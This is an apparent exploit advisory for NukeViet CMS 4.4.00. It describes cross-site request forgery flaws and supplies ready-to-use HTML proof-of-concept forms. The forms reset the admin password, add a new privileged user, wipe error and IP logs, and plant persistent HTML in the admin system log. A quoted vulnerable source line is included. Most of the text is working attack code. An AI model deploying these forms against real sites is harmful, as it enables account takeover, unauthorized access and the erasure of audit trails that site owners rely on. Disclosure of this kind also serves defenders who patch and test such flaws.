# Date: 2020-05-18
# Exploit Author: JEBARAJ
# Vendor Homepage: https://nukeviet.vn/
# Software Link: https://github.com/nukeviet/nukeviet/releases/download/4.4.00/nukeviet4.4.00setup.zip
# Version: 4.4.00
# Tested on: Windows 10 Pro
# CVE : N/A
+---------------------------------------------------------------------------------------------------------------------------------------------------+
Description:
NukeViet CMS v4.4.00 suffer from Cross Site Request Forgery (CSRF)
vulnerability.This Vulnerabilty lets attacker change profile
details and password of the user without knowing thier old
password. Create a new user with admin privileges. Delete Sensitive
and other log files.
1. Changing password of Admin user and thier profile details
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form
action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=edit&userid=1"
method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="
<input type="hidden" name="first_name" value="admin" />
<input type="hidden" name="last_name" value="" />
<input type="hidden" name="gender" value="N" />
<input type="hidden" name="birthday" value="07/05/1986"
/>
<input type="hidden" name="sig" value="" />
<input type="hidden" name="question" value="123" />
<input type="hidden" name="answer" value="1234" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="group_default" value="1" />
<input type="hidden" name="password1" value="Admin123456"
/>
<input type="hidden" name="password2" value="Admin123456"
/>
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="nv_redirect" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2. Create new user.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form
action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=user_add"
method="POST">
<input type="hidden" name="username" value="aaaaa" />
<input type="hidden" name="email" value="
<input type="hidden" name="password1" value="VeK8hsRYn9TRk7z"
/>
<input type="hidden" name="password2" value="VeK8hsRYn9TRk7z"
/>
<input type="hidden" name="first_name" value="asdf" />
<input type="hidden" name="last_name" value="asdf" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="birthday" value="01/05/1994"
/>
<input type="hidden" name="sig" value="" />
<input type="hidden" name="question" value="asdf" />
<input type="hidden" name="answer" value="asdf" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="is_official" value="1" />
<input type="hidden" name="is_email_verified" value="1"
/>
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="nv_redirect" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3. Deleting Log files
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form
action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem"
method="POST">
<input type="hidden" name="check_all[]" value="yes" />
<input type="hidden" name="submit" value="Submit" />
<input type="hidden" name="deltype[]" value="clearcache"
/>
<input type="hidden" name="deltype[]" value="clearfiletemp"
/>
<input type="hidden" name="deltype[]" value="clearerrorlogs"
/>
<input type="hidden" name="deltype[]" value="clearip_logs"
/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Persistent HTML injection via CSRF
Since the application has xss protection header it is hard to get an XSS. HTML injection is possible via unsanitized parameter passed to database and then displayed in Informations -> system logs tab on admin panel.
Vulnerable Source code:
clearsystem.php -> line 58
nv_insert_logs(NV_LANG_DATA, $module_name,
$lang_module['clearsystem'], implode(", ", $deltype),
$admin_info['userid']);
There are many instances like this triggering to html injection.
P0c: htmlinjection.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form
action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem"
method="POST">
<input type="hidden" name="submit" value="Submit" />
<input type="hidden" name="deltype[]" value="test:<input
type="text"/>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
